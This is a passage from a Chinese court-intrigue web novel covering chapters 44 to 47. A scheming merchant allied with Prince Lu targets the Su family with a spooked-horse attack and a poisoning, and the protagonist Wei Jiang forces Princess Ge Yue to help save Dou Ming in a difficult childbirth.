潞王眼神缓了一些:“你最好是真的清楚。”
若是还有下次,那就是逼他做决定了。
严氏要是真死了,那他拿捏的把柄也就是一招废棋,甚至还会惹怒严家、皇后、还有苏家。
她好好地活着,对他才是最有价值的。
柳老板低下头,目光变得幽冷狠戾。
真是便宜那个贱女人了,那个新宜县主也真是多事,要是她没有出现,那个贱人怕是到地下给儿子赔罪去了。
书房外头有脚步声靠近,潞王警觉地看了一眼。
柳老板会意,朝屏风后走去。
“殿下,王妃来了。”
她怎么过来了,柳老板也转了出来。
葛月脸色很不好看,她一进来就直冲柳老板,“苏青今日差点出事,是不是你做的?”
她清楚这不可能是潞王的计划,潞王对苏青出手对大局没有丝毫作用。
潞王也一惊,转头看向柳老板,眼神有些冷。
这老头做事太过随心所欲了,竟然没有事先跟他说。
柳老板怔了下,恍然道:“竟然也是今天啊。”
见葛月脸色难看,他有些无所谓道:“她让你受了那么多苦,我只是想着替你出口气。”
“她怀了身孕,你竟然……”
柳老板表情讶异,有些不解:“要不是因为她,你怎么会流落乡野,你不是也不喜欢她,嫉妒她,她过的不好不是正合你意”
葛月被他的狠辣惊倒了,脸颊抽动了两下,有种被说破了心事的恼羞感。
她虽然嫉妒苏青,但真的没想过要这样报复,之前也不过是想着坏坏名声,他却一出手就要人命。
竟然还口口声声说为她出气,她求他了吗?
葛月只觉得整张脸烧的慌,潞王那看过来的眼神更让她无地自容,她脑子木木的。
“我为什么会流落乡野?没有苏青苏家就一定好好待我,你是做的什么白日梦,跟不知道什么下三滥的奸夫所生的野种,他们没有要我的小命都是心善了。“话就脱口而出了。
啪
葛月半边脸都木了,她不敢自信地摸向脸。
柳老板手依旧举着,带着微微颤抖,眼神疯狂:”不许你这么说你爹,他是你爹。”
潞王也是一惊,上前一步想要劝解,但很快就停住了,这个时候他好像也不知该怎么劝了,干脆看戏好了。
何况有很多内情他也不是很清楚,正好可以听听。
葛月挺直了腰背,眼神蔑视着柳老板:“他也配,一个勾搭妇人的浪荡子有什么说不得的。”
自从知道自己的身世后,这句话藏在心里已经很久了。
她甚至宁愿自己的爹是那个一辈子种田的葛老大,自己真的是葛家的女儿。
有时候她真的很后悔,后悔自己为什么要入京,要找什么身世。
一个乡野村女至少也身世清白,总比身世不详的野种好吧。
柳老板气的跳脚,他手指不住地抖,凑近还要动手,一把被葛月隔开了,她不会再让人动自己一个手指。
柳老板瘫坐在地上,老泪众横,捂着胸口道:“不是的,我的翰儿是个乖孩子,他善良胆小,腼腆怕羞,最爱的就是侍弄花草,和女子多说几句话都会脸红,他怎么会去勾搭人。”
他带着恨意指着葛月道:“都是那个淫/妇,是她,是她来撩拨我的儿子。”
翰儿自小体弱,他和老妻膝下只有这个独苗苗,不知道花了多少心力才把七灾八难的他养到十来岁。
十三岁的时候,一次重病差点没熬过来,有个老和尚经过救了他一命,那老和尚说他太干净了,不宜养在俗世,最好是出家在佛祖跟前长大,这样才得永寿。
柳家夫妇哪里愿意,本就只得一根独苗,竟然还要送出家。
那老和尚却笑着说,也不用一辈子出家,只要平安度过二十岁就可以还俗,日后身子无碍,自然能传嗣继业。
柳家夫妇初是不相信的,可也抱着试试的心态把儿子寄养到了杭州附近的寺庙中,你别说,还真的比在家时身体好多了。
夫妇俩知道这是遇到高人了,辗转打探到这大师出自京都白云寺,想着把儿子送到这里说不定更有效果。
他们耗费巨资在京城置办了家业,又给白云寺捐赠了大笔的香火钱。
本来一切都挺好的,儿子无病无灾地到了十九岁,只差一年,只要一年,过了年后他就能接儿子回家了。
都怪那个贱人,那个淫、妇,明明已经嫁为人
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妇却偏偏不守妇道,丈夫不在家她就耐不住寂寞来勾搭他儿子。
害得死心眼的儿子一颗心扑在她身上,心心念念的都是要带她脱离苦海远走高飞。
他接到儿子的家书时就知道不妙,连夜就往京城赶,没想到还是晚了。
儿子死了!被人害死了!
这么多年,他一直在查那个淫、妇的下落,他甚至都怀疑过新宜县主,却没想到竟然是严氏,有着京中妇人典范的严夫人。
真是莫大的讽刺啊!
严家苏家害了他的儿子,他凭什么不能报仇,他就是要向他们索命!
葛月脸色惨白,连连摇头,她不想听,她不要听这些恶心的事。
不关她的事,她凭什么要担上这些,她才不管谁无辜,她只知道,他们造就了她的难堪处境,她捂住耳朵,冲出了书房。
“潞王殿下,这下你该放心我和你合作的诚意了吧。”柳老板眼里哪里还有软弱,只有深深地算计。
潞王明白,演这么一出是怕王妃知道他要杀严氏吧,不管怎么说,那都是葛月的生母,对苏青她尚且不忿,何况是亲母呢?
只有让她从心里骨子里厌恶,嫌弃仇视那个人。
果然是老谋深算,潞王冷笑
伸手拉他起身:“王妃也只是一时接受不了,给她时间会慢慢想清楚的。”
柳老板:“她毕竟是翰儿留下的唯一血脉,她做什么我都不会怪的。”
“令郎的事情确实让人唏嘘,我也理解柳公要报仇的心思,但我希望柳公能为大局多考虑考虑,我们是一家人,一荣俱荣啊!等大局一定,柳公想做什么都成。”
了解了内情,潞王更加明白他不会放弃报仇。
柳老板老眼盯着他看了半天,潞王目光依旧,两人僵持一会儿,柳老板忽然笑道:“殿下记得今日话就成。”
他这是答应了。
……
“人有没有事?”
长佩道:“说是受到了惊吓。”
窦绍一边盘问,一边帮卫姜整理衣服,两人登上马车,径直去了卫府
宋氏今日也去了白云寺,刚回到家就看到次媳昏睡着被人抱了回来,顿时吓得脚都软了,还是大儿媳出面稳定了大局。
卫姜从马车一跃而下,窦绍连忙扶助她的后腰。
“弟妹刚用了安胎药,此时睡着了,母亲在内室躺着,这事没敢告诉郡主,怕吓到她老人家,姑母您慢点。”宋氏的大儿媳李氏连忙扶住卫姜。
见到窦绍,忙屈膝行礼:“姑父,失礼了。”
“一家人就别客气了,带我去你婆婆屋里。”
窦绍听的她话,有些宠溺地笑了,对李氏道:“我去前院,你们过去吧。”
李氏心里暗自思忖,这可真是三十年河东,当初年轻时的姑母和窦大人是两看相厌,如今当祖父母的年纪倒是伉俪情深了。
“大嫂,怎么样?”
宋氏带着抹额靠在迎枕上,颇有些虚弱。
“累的你也过来了,我没用,被吓得人都软了,多亏了大儿媳,你都不知道,贺哥儿才到辽东,要是苏青出点事,我可怎么交代。”
李氏忙孝顺地给宋氏顺气,又亲自给两位长辈奉茶。
“到底怎么回事?”一路上她也没打听个明白。
“今日这事还多亏了毛夫人,要不是她,苏青母子怕是……”
苏青今日原是上街去看些衣料子,她是临时起意,没想到马车刚到街上就被惊了马,要不是毛夫人也在车上,且她有一身驯马的本事,今日别说孩子,大人都不好说。
书房,
卫国公和长子都阴沉着一张脸,静坐不语。
窦绍:“确定是人为?”
卫国公道:“庆儿亲自带人去查的,就是奔着我们家来的。”只是不知道为什么冲着一个有孕的新媳妇出手。
卫庆也开口:“也不知道我们家到底得罪了什么人?”
出手果决狠辣不留余地,这次怕是个硬茬子。
倒也不一定是卫家的仇人。
窦绍脑子中有什么闪过。
45. 第 45 章
好在苏青只是受惊吓,胎儿安好,但御医还是让她卧床静养些日子。
宋氏满心庆幸,嘴上念着阿弥陀佛,毛夫人手收了些伤,刚好包扎好过来。
“国公夫人,不知那惊马之人可抓到了?”
毛氏一张脸绷的紧,惯常的笑没了,倒是带着满脸肃杀之气,不愧是武将之妻,杀伐果断。
卫姜暗暗佩服。
这次毛夫人完全是无妄之灾,最后还为了苏青受了伤,宋氏满是愧疚:“连累夫人了,夫人放心,国公爷已经把祸首抓住了,安排人在审问。”
毛夫人点头:“那就好,要是人手不够我身边倒是有些人,他们都是军中退下来的,对追踪刺探审讯还是有些手段的。”
宋氏尴尬地笑,这样的人都是军中好手,卫家曾经也有不少,“自然是好,多谢夫人了。”
毛夫人点头:“都是为了孩子,万幸青儿和孩子没出什么事,不然我可怎么跟她舅舅交代。”
卫姜:“夫人放心,这次事情我们定然会彻查清楚,不会再有下次了。”
侍女来传来,说二少夫人梦魇了,毛夫人急的立马起身去了后室,这亲舅母也不过如此了。
宋氏:“幸好有毛夫人在。”
苏青受了这么大的惊吓,最好是能有亲近的人陪在身边,可卫贺远在辽东,严氏又出了事,听说整个人都疯疯癫癫的,更是不能过来了。
多亏毛氏日夜陪伴,苏青才慢慢恢复了过来。
卫国公和儿子倒是很快就从惊马的人那里审问出了幕后之人。
只是这结果有点出乎意料。
“你是说,是窦绍指使的?”
卫姜掏了下耳朵有些不敢相信自己听到的。
卫庆脸都羞红了,不敢看姑母和姑父:“姑母,不是我说的,是那个凶徒供述的,我和父亲自然知道这是假的……”
“那你还来说。”卫姜瞪他,打断他的话,别人说个谎话你就大张旗鼓的质问,看在别人眼里成什么,也不怕窦绍多想。
卫姜瞥了一眼窦绍的脸色,见他很平静,他这种老狐狸,心里想什么脸上是不会显露出来的。
窦绍那里不知道她的小心思,干脆免了她做戏。
“你也听他说完。”他转头继续问卫庆:“你父亲可是有什么交代?”
卫庆可见的松了口气,“姑父英明,父亲自然不信,接着往下查却发现此事竟然和信王有关。”
要是依照以前窦绍和原主的关系,惊马事件说是窦绍黑化和卫家撕破脸也是强行能说的过去。
苏青以前和信王私底下是有过口头婚约,信王如今遭逢低谷,心生怨气报复曾经的未婚妻也不是不可能。
只是这两个动机都太粗暴了,经不起细细推敲。
这个幕后之人怕是有些来历,他能得到这些隐秘之事就不简单,特别是信王和苏青曾经差一点定亲,一般人是不可能知道这个的。
卫庆继续道:“父亲自然不相信,又派人接着往下查,却发现事情不是那么简单,我们发现背后好像有一只手一直推着我们去往他布好的局里走。”
“他老人家怕查到最后会不好收场。”
那幕后之人处处留破绽,不就是故意引着他们往下查,信王和窦绍都不是他们的目标,他会去陷害谁呢?
苏国公虽然为人不拘小节,是个实心眼,可也不是蠢。
他让儿子来,明面上好像是质问,但其实是想让窦绍这个聪明人帮他破局。
“父亲说,如今这个局面就算是我们想息事宁人别人都不让了。”
毕竟天子脚下,青天白日的就有人作恶,害得还是功勋之家的女眷,事关两个国公府的颜面,就连宫里都惊动了。
他们不查,官府也会查,
“此事我知道了,你父亲忧虑的有理,这事我来办。”
卫庆起身郑重行礼:“那就有劳姑父了,父亲说了,卫家的人手都听从您调遣。”
“不能用卫家的人手。”
幕后之人定然时刻关注着卫家的进展,忽然发现人手有调动,只怕会明白过来,不如卫窦两家明暗两路去查。
天色也不早了,下人来询问摆饭的事情。
卫姜想了想道:“那你就别留下吃饭了。”
窦绍和卫庆同时愣了一下。
既然要演戏,自然真一点,他是来替父亲质问窦绍的,若是留了饭岂不是两家没有起芥蒂。
卫庆明白了姑母的用意,笑着起身道:“听姑母的,那我现在‘负气’回去了。“
“等一下。”卫姜叫住了他,伸手在他的脸颊上掐了几下,直到有红红的印子出现。
她站远端详了一下,点头,“可以了。”
卫庆摸了摸脸,觉得姑母力气有点小,想自己加一点。
窦绍:“你再加就不像了,你姑母应该也没多少力气。”
说什么呢,她有的是力气和手段,卫姜给他一个白眼。
窦绍忍笑,她出这些鬼主意的时候倒是脑子转得快。
随着卫庆顶着巴掌印愤怒地离开窦家,京中又起了新的流言,说是新宜县主对娘家不满,故意策划了惊马案,如今被娘家识破了,两家已经断了情谊。
卫姜有些郁闷,怎么坏事大家都自觉的往她身上赖,难道窦绍就不能做吗?都什么眼神,这也是个?焉坏啊!?
毛氏是听到流言上门的,她自然是不相信的,那日苏青出事,县主表现的很担心,那担心不可能是假的。
她马上就要回辽东了,两家交恶若是因苏青而起,以后孩子的日子就不好过了。
所以她是来劝和的。
卫姜笑了,“连夫人都信了,看来我们演的还不错。”
毛夫人怔了一下,反应过来:“我没误你们的事情吧。”
“怎么会?连您都上门了,只怕他们更信了。”
窦绍的人都是从外面带回来的,和卫家用熟的人不一样,不会有人过多的留意,没多久他们就查到了些东西。
既然幕后之人想引着卫家的人往太子身上查,他就反方向的去查潞王身边的人,这下被他发现了蹊跷。
那位从江南来的大豪商柳大福,他手下的人倒是活跃的很。
他是潞王的钱袋子,如今更是潞王的心腹,从种种迹象来看,惊马案和他脱不了干系。
一个靠走私盐起家的商贾豪族,竟然敢在京城兴风作浪,在卫姜问他会如何处置时,窦绍只是冷笑了一下。
只是他笑容有些瘆人。
……
柳大福最近颇有些不顺,先是和孙女起了争执,后又被潞王敲打了一顿,如今连身边得用的人都不见了几个。
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还有最重要的,他的一些产业竟然被户部的人盯上了,让他损失惨重。
他去找潞王想法子,却吃了闭门羹,一连三次,这是他第四次上门了,这次还是因为他说见王妃,这才进到了二门。
下人径直把他领到了书房,潞王在独自对弈,见到他来头都没抬一下。
柳大福脸色有些难看,却没敢摆谱,恭敬地站在一旁。
“知道我为什么不见你吗?”潞王问道。
柳大福语气带着不满:“这小民哪里知道?”
潞王把手中的棋子撒进棋盒里,转头指了椅子让他坐下。
“因为你见我也没用,户部是谁的地盘?你当窦绍真是好惹的,你得罪了他还想得好。”
柳大福的脸色已经非常不好了,他这些日子也托人活动过,知道背后整他的是窦绍,原是指望潞王出面替他周旋一二,没想到刚见面就听他说这种话。
不过……我也感到有些奇怪……”潞王撑住下巴好奇问他:“他为什么会放过你?就让你损失些产业?”
这可不像窦绍的手段和风格。
这也是卫姜好奇的地方,既然已经查到幕后真凶,为什么不赶紧把他抓了,不怕他又搞什么手段?
窦绍给出的解释是第一,目前查到的实症还是少了一些,不足以钉死他,若是打草惊蛇势他们鱼死网破,必就要牵连出太子,这惊马案好不容易压下去,实在不宜翻出来。
第二嘛,这个柳大福行事粗浅狠辣,这么‘得力’的帮手,自然还是留在潞王身边为好,以后能坏不少事呢。
如今皇上对潞王纵容,铁了心要让他当太子的磨刀石,就算搬出柳大福也伤害不到潞王半分,他是潞王妃身世最有力的人证,若是先留着以后太子说不定能用的着。
潞王见柳大福一脸颓败,心情竟然大好,语重心长地劝他:“我早劝过你,别去招惹他,你竟然还敢把惊马案嫁祸给他,如今他和县主蜜里调油,卫家会信才怪,县主不闹,你这计策就废了。”
柳大福看他,淡淡道:“殿下本也就没指望卫家相信,不是给他们准备了更合情合理的主谋吗?”
潞王听了脸上露出遗憾的表情,可惜了,卫家不敢接着查了,他准备的也白费了。
柳大福道:“难道殿下怕了那窦绍,就没有别的办法对付他了?”
潞王冷笑,他会怕窦绍,他只是不想那么麻烦,窦绍难缠,他分得清轻重缓急,不像这个柳大福。
不用激他,窦绍是很厉害,可他的软肋和弱点也很明白,见柳大福眼珠子动来动去,他睥睨道:“我劝你更不要去招惹新宜县主。”
那个女人更难搞,更疯,不到万不得,潞王不想招惹她。
柳大福却不屑,一个女人而已能有多难对付,不过潞王不让对她动手就算了,窦绍不是还有个儿子吗?
那边潞王见他不知道又在打什么主意,提醒他道:“你最好不要再背着我做什么事?”
如今他还不想那么快对上窦绍。
柳大福闻言神情一僵,欲言又止,一看就有鬼
潞王唰地起身,厉声喝道:“你又做了什么!”
窦家
卫姜和窦绍正在用早膳,长佩失态地闯了进来,满脸惊慌失措
“县主,大人,不好了,大小姐难产了!”
46. 第 46 章
一路疾行到了苏家,大夫人林氏她们已经到了,窦明在里屋一声声地唤着娘,让林氏心肝都疼了,女儿喊一声疼,她的脸就白一层。
“大嫂,没事的,我们明儿自小就是个好命的姑娘,这次一定能闯过去的。”三夫人张氏平日里能言善道,如今却词穷的很,直念叨着窦明命好,会没事的。
她的手被林氏捏的发白直哆嗦,也不知道是林氏带的她手抖,还是两人一起抖。
见到卫姜到了,张氏好像见到了主心骨,带着哭音喊了句:“县主……”
话还没说完就瘪了嘴,可眼光扫到大嫂,又憋了回去。
不能说不吉利的话,大嫂听不得的。
卫姜一把上去握住了林氏的手,安抚她道:”大嫂没事的,明姐儿吉人天相,窦绍让人去太医院找最好的大夫了,不会有事的,他和大哥他们都在院子里等着呢。”
等到丈夫和小叔们也来了,林氏忽然就有了安全感。
严氏还病着,根本主持不了事物,老夫人听说孙媳妇不好,立马就吓的晕了过去,如今苏家都乱了套,这大事还得靠娘家人主持。
卫姜朝林氏的大儿媳使了个眼色,让她去安抚婆婆,然后扯过张氏到一旁。
“到底出了什么事?不是还有一个月吗?怎么忽然就发动了。”
说道这个张氏眼刀子就往廊下跪着的人摔去,扯着帕子恨不能把她们撕了。
“还不都是那两个贱人害得,我们明姐儿算是倒了血霉了,竟然嫁到了苏家。”
卫姜顺着方向看过去,这才留意到廊下竟然跪着的有人,一个人是苏家二房苏妍,一个不认识。
张氏鄙夷道:“那位是国公爷的妾室,朱姨娘。”
姓朱,那卫姜就有印象,这应该就是严氏准备给儿子的妾室,然后被国公爷半道截糊了。
那朱姨娘本就是强弩之末强撑着,现在被卫姜的名声一下,嘤的一声人事不知倒在了苏妍身上。
苏妍顺势一偏,让她倒到了地上,她心中诅骂这贱人狡猾,说不定是装晕的,她第一次恨自己身子康健,怎么就不是自己晕了。
卫姜朝这边走来,她害怕地缩回手。
县主不会是要动手吧,真的不关她的事,要怪就怪那个贱人,要不是她躲一下也不会挤到窦明。
窦明也是没用,别人怀孕怎么都没事,就她被拌了一下就要难产了。
窦明要是出事了,窦家不会让她抵命吧,这事别人不一定做的出,可新宜县主是谁啊,她不讲理的啊。
自卫姜出现后,苏妍开始觉得害怕了。
早知道她今日就不去园子里了,不去的话就不会碰上朱姨娘,她也不会起恶心窦明一把的心思。
谁知道那朱姨娘平日里瞧着小意温柔,唯唯诺诺的,却也有脾气,受了她几句挤兑,竟然顶了上来。
苏妍随是二房的女儿,可苏家子嗣单薄,她也是和苏青一样长在大房,娇宠着长大,什么时候受过妾室的气,一时上头就推了朱姨娘一把。
都怪窦明多事,她要是不来劝解也不会有事,偏偏她来了,还被朱姨娘绊了一下,整个人撞到了假山上,顿时就见了血。
一步一步,苏妍觉得卫姜的脚好像踏在她的心头,她整个人都往回缩,手指都蜷缩进内。
她害怕新宜县主会一脚踩在她的手上,再使劲碾两下,定会让她的手血肉模糊。
她曾经就这样对付过忤逆自己侍女,她知道那种钻心的疼,会让人尖叫打滚。
“明儿,你怎么样了?”苏通背着一个头发花白的老头急匆匆地往里赶。
他把大夫放下,整个人力竭瘫在地上,“刘老太医……请你一定救救我妻子。”他紧紧拉住老太医的手,“拜托了,我只要我的妻子平安活着。”
言外之意让大家惊讶,林氏看着狼狈不堪的女婿,又想到还在阎罗殿挣命的女儿,顿时悲从心来。
刘老太医看着年轻人,安慰他道:“放心吧,老夫会尽力而为的。”
他打开门进了内室。
卫姜让人把苏通扶到椅子上坐下,可他哪里坐得住,屋里的是他的妻儿,生死不知。
他就靠在门上,眼神空洞,耳朵听着屋里的动静。
“这位刘太医是前太医院院判吧。”卫姜问道。
刚窦绍就是先派人去请的他,看来是和苏通半路遇到了
张氏:“正是。”
黄院判并没有把握,让他们去请这位张太医,倒是没想到苏通会这么快请来,不,是背来。
这位张太医快近八旬的年纪了,还真的要苏通背着比较快。
大家带着期盼的眼神看向那扇大门,希望能有奇迹,忽见苏通一下子站直,站到门口迎着。
是黄院判扶着张太医出来了,两人脸色沉重,眼神带着惋惜。
众人的心直往下掉,林氏一个踉跄,多亏张氏时刻留意着她,这才没让她倒下。
苏通手脚发冷,几次张口都没有声音,他甚至都不敢问,眼神带着小心翼翼。
张太医道:“老夫尽力稳住了她的情况,只是……要是我还年轻个十来岁,倒是能一试,如今……”他摇头。
苏通拉住张太医的衣角,跪地哀求道:“只保大人,孩子……孩子……孩子就算了。”
他有多盼着这个孩子,别人怕是不知道,他也日日梦到这个孩子,畅想过要是个女儿他要如何宠爱她,要是个儿子,他要如何陪养他成才,如今他却要亲口说不要他!
何其残忍,可是他喜欢这个孩子是因为这是他和窦明的孩子,他不能没有窦明。
林氏捂住嘴哭出声。
黄院判扶起他,“胎儿过大,只怕大人和胎儿窦难保。”
苏通痛苦地双手抱头。
“胎儿过大,怎么回事?”卫姜还不知道这个事情。
张氏已经哭出声了,气冲冲地走上去,指着苏通破口大骂:“这苏家就是个虎狼窝,我们窦家以前就这一个姑娘,家里人宠着捧着,连手指甲盖大的破皮都没让她伤过,来了你们苏家,不是被婆母刁难,就是被人下毒谋害,如今连命都要填在你们苏家了。”
林氏已经哭成泪人,张氏作为婶娘都如此心疼气氛,她这亲娘心中更是如同刀割,她伸出手照着苏通就是一巴掌。
林氏哪里有什么力气,可苏通朝着岳母的方向膝行几步,昂着头让她继续打。
女儿和女婿一贯恩爱,女儿这样又何尝是他愿意的,林氏打了几下,见苏通死灰般的脸色手再也挥不下去了。
林氏舍不得打女婿,张氏转身随手抓了件东西就朝罪魁祸首的两人打去,“都是你们,要不是你们怎么会这样。”
苏妍被打的嗷嗷叫,脸都被她抓花了,旁边的朱姨娘昏迷着倒是错过了大部分的打。
“大哥,大哥救我,我不是故意的,是意外啊。”
苏通好像没有听到一样,见岳母不打了,他木头人一般起身,就要进屋里陪妻儿。
最后还是黄院判看小姑娘可怜,伸手拦了几下
屋里的动静早已惊动在院里等着的男人们,苏国公黑着张脸,对窦家人拱手赔礼:“是我治家不严的过错,下药的人我已经找到了,我们家一定会还儿媳一个公道。”
苏妍原本还指望伯父救他,不想那冰冷的眼神让她打了个寒战。
窦绍看向张太医,恳求道:“张太医,还有没有别的法子,不管是要什么,我都可以办到,她还那么年轻,我们两家都承受不起啊。”
张太医沉吟片刻,这才开口道:“我如今手不稳,不能行针。”他的手在微微颤抖,这样的他救人如害人。
他对众人道:“或许……你们找一位行针高手,由我从旁指导,也许还有一线生机。”
行针高手,卫姜和窦绍对视一眼,卫姜激动道:“有,有一位,我现在就去接她。”说完就快步走了出去
窦绍:“还要麻烦张太医。”
张太医脸色也轻松了些,“医者本分,窦大人说这话就折煞我了。”
听到还有机会,众人脸色一改灰败,都带着期盼。
窦绍想到什么,追了出去,在卫姜耳边嘀咕了几句。
潞王府大门紧闭,门房上的人说主人不见客,哪怕他们摆出了卫姜的名号,那些门房的人还是拦着不让进。
苏家出了这么大的事潞王府半点不知道?
卫姜跳下马车抢过马夫的皮鞭气势汹汹地朝门房走去,这要是一般人敢硬闯亲王府,他们早就叫府兵把人赶出去了。
奈何这是一位得圣宠的县主啊,仆人捂住被打的半边脸,虚虚拦着卫姜,一边猛朝旁边的人使眼色。
蠢货,县主闯进来了,
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还不去禀报主子们。
卫姜这鞭子是越耍越熟练了,那些人哪里有真的敢来拦,就这么被她冲到了二门,这这看到潞王带着人急匆匆地赶来。
“不知道小王怎么得罪县主了,让你带着人闯我潞王府?”
卫姜收起鞭子轻轻敲打着手心,恭敬见礼:“谁不知潞王性子是最好的,怎么会得罪人呢?是我上门做恶客,你的下人拦着说你不愿见我。”
潞王神色一顿,瞪了一眼下人,“县主误会了,你是我表姐,怎么会是恶客,只是你突然上门,那些下人怕是没反应过来。”
“瞎了眼的,都下去领罚。”潞王打发了潞王府的人。
“你的王妃呢?”卫姜问起葛月。
要说这世上还有谁行针之术最好,那就非原女主葛月了。
“王妃身子有些不适,在后院歇息……。”
潞王话音刚落,葛月就出现了,应该是得到消息赶了过来。
卫姜:“看来已经好了。”她快步走近葛月,“苏家出事了你们知道吗?”
卫姜不想和他们绕圈子,直奔主题。
葛月明显一愣,潞王虽然也做惊讶之态,但太过自然了。
“出了什么事?”难道是严氏出事了?葛月心情有些复杂。
卫姜道:“是你的大嫂,她被人下毒……”
潞王眼神一暗,“不知道可有查清是谁做的?”
卫姜和葛月同时看向他,潞王意识到失言了。
卫姜笑意不达眼神,“殿下怎么不问问人怎么样?倒是挺关心案子的。“
潞王道:“既然是毒物,有了主犯才好查清是何毒物。”他脑子转的飞快,尽可能给个合理解释。
卫姜看向葛月,“凶手已经抓到了,王妃身边有个姓柳的侍女吧。”她重重地咬了一下柳字。
葛月急急分辨:“不可能,柳芽一直在我身边,这段日子都没有回过苏府。”
“是她干娘,好像也姓柳,苏国公很生气,说是要彻查此事,怎么苏家的人一个两个的都那么爱出事,王妃也要留意安全啊。”上次是苏青差点出事,这次是苏家儿媳,苏国公要还没意识到是有人在针对苏家那就是蠢人了。
葛月想到什么,看向潞王,脸色有些难看,“不知道我嫂嫂怎么样了?”
卫姜:“这正是我上门的原因,如今明儿母子命在旦夕,怕是只有你的医术能救她们一命了。”
“这怎么行?”潞王急忙打断,“太医院那么多太医都束手无策,王妃还年轻,与妇人生产之事本不精通,怕是会耽搁事。”对上卫姜的目光,他硬着头皮解释。
“潞王说的有理。”她看着葛月的眼睛,“王妃放心,前太医院院判刘太医医术高超,您只是需要配合他。”
她放软语气,攻心道:“自你回到苏家,她这个做大嫂的应该也没有对不住你的地方,看在往日的姑嫂情分上,如今只有你能救她了。”
葛月心里挣扎,潞王今日这么反常,她知道定然是有鬼的,可县主的话戳到了她的心里,她固然对苏家人没有好感,可窦明和大哥对她确实不错。
她咬唇,最后还是救人的心占了上风:“你等我,我去拿东西。”
潞王有些讪讪道:“王妃心善,是我着相了,只想着万一救不回,怕岳家会怪罪她,倒是忘了,她本就是个医者,自然更想为救亲人尽一份心。”
卫姜冷笑了一声,“潞王殿下,我勉强也算得上是你的表姐,我这里有一句话你想不想听?”
潞王温和一笑:“表姐请说。”
卫姜:“人要有敬畏之心,特别是要敬畏生命,不只是自己的命宝贵,别人的命也很珍贵。”
见潞王脸色要变,她慢悠悠加上一句:“这也是舅舅跟我说的。”
她口中的舅舅只有宫里那一人。
葛月已经背着她的药囊回来了,卫姜撞开挡路的潞王,带着她往苏府赶。
潞王脸一阵红,一阵白的,精彩极了。
“如今你可满意了?”潞王盯着不知道什么时候出现的柳大福,眼神带着寒意。
柳大福:“殿下是亲王,怎么就怕了一个县主。”
还有他那个孙女,也太不知亲疏了,竟然去帮仇人
“你最好是把尾巴清扫干净了。”潞王扔下一句,看也不看他就离开了。
47. 第 47 章
好在剧情虽然偏了,但女主的医术还在水准,在刘太医的指导下,黄院判的配合下,窦明母子总算是从鬼门关迈了回来。
只是经过这一次,窦明身子要养上好几年才能再生育。
苏通今日差点就失去他们了,此时都还在后怕,他一手抓着妻子的手,眼神慈爱地看着旁边的儿子。
“无所谓,我有他们就够了。”就算不能生了也没事。
葛月今日立了大功,不但苏通对他很感激,苏国公第一次正视这个孩子,还给她郑重地道了感激之语。
她低头,心中感概万千,以前多想他这么温和的和自己说句话。
……
长佩今天人都麻的,躺在床上时都有些回不过神,忽然想到县主好像吩咐她的事情。
她又利索地爬起来,去了库房箱子里找鞭子。
今日可能是在潞王府大发神威来了感觉,县主忽然让她给自己准备条鞭子,长佩只好提醒她,她库房里有好几条。
都是以前长公主给她准备的,可惜县主以前不怎么用。
原以为这一两年来县主脾气变了很多,整个人都柔和了,可今日闯潞王府她才恍然,县主还是那个县主啊,就没她不敢干的。
连皇上的话都敢乱编,还说什么潞王又不敢去对峙,怕什么。
听听这话。
“县主,东西找到了。”
卫姜撩开内室的帷帐走了出来,看到长佩手中的东西,脸上一喜,拿在手上掂了掂,挺合适。
她随手一甩,啪的一声脆响,窗口岸上的梅瓶打了粉碎。
这力道!卫姜有些不敢置信,比那马鞭好用多了。
声音惊动了窦绍,他抱着小卫儿走了过来,“怎么动起鞭子了,这是要罚谁?”
他调侃着,她小皮鞭抽上潞王府明日怕是就要传遍京城了,怎么?今晚又练上来,准备明日又去闯谁家呢?
卫姜嗔怒,瞪了他一眼。
眼睛一转,忽然有了捉弄的主意,她用皮鞭挑起他的下巴:”罚你啊,你说你该不该罚?”
窦绍丝毫不惧,还往她这边送一下,笑的有些不要脸:“县主饶命,小人认罚,您想怎么罚都可以。”
呸,不要脸。
卫姜立马收回鞭子,不想被小卫儿的胖手拽住了,很显然,她也瞧上她娘的这跟鞭子了,嗷嗷的抓着往嘴里送。
“这可不能吃,等你长大了,爹给您送一条鞭子,也让你去揍人好不好?”
这什么家教!卫姜长见识了
“你别乱教她。”
小心以后成了京城小霸王
“女孩子要凶一点才好呢?太软了容易受欺负。”
他这是从窦明那里得来的感悟?
洗三那日,窦明已经能勉强起身了,但还是很虚弱,孩子因着娘胎里长得好,看着倒不像是早产的,手脚有劲的很,哭声也特别大。
窦明抱不动他,把他放在身边盯着看,怎么看不够。
“行了,交给乳娘吧,以后有的是时间疼她,你现在要多顾着自己。”卫姜吩咐人把孩子抱下去。
林氏给女儿腰后垫了个软枕,也符合道:“县主的话在理。”
窦明失血过多,如今脸色都是蜡黄的,她带着笑虚弱地给卫姜行了半礼:“多谢婶母救我性命。”
她已经听丈夫说过了,那日是县主提着马鞭打上了潞王府,这才能及时地把潞王妃带来救了她和孩子。
“这次你的恩人是刘太医和潞王妃,要不是他们两人医术精湛,你就悬了,下次看你还敢不敢?”大着肚子还敢去劝架?
张氏急忙咽下嘴里的糕点,问道:“你们家二房那丫头怎么处置的?”
窦明道:“老夫人让人把她们送去了城外庵堂,说是让清修一年。”
张氏:“便宜她们了。”
要不是她们,窦明也不用吃这么大苦头,照她说这惩罚也太轻了点
窦明道:“有时候还真是福祸相依,要不是她们害我早产,我也不会发现自己被人下了药。”
要是按照正常生产时间来算,胎儿定然还要更大,只怕到时候依旧是难产,说不好一尸两命。
这次也算是误打误撞破了坏人的谋算。
林氏心疼地握住女儿的手,“那下药之人查出主谋了吗?”
那个老妈妈说什么对女儿不满,这才下药的,她才不信,自己的女儿什么性子还不知道吗?对下人那是一个宽厚,什么时候苛待了别人。
窦明摇头:“世子还在查。”
卫姜和窦绍私下有过猜测,上次在潞王府她更是有了疑心,此事只怕和潞王脱不开关心,只是怀疑的话窦绍只是委婉地提醒了苏通,目前看来窦明还不知道。
“今日潞王妃没来?”张氏好奇问道。
“说是感染了风寒,派人送了礼来。”只是礼物丈夫却让人收了起来,这让窦明有些奇怪,却也不好说。
正说着话,宋氏和卫莞过来了。
苏青如今还在躺着静养,这样日子自然是宋氏代她来走一遭。
“阿弥陀佛,好在母子平安,你都不知道我吓的魂都要飞了。”宋氏脸上带着悸色。
“当时我都没敢跟青儿说,就怕她激动之下出岔子。”
林氏忙说:“你做的对,她如今身子如何了?”
“近来好了很多,夜里也睡的安稳些了。”
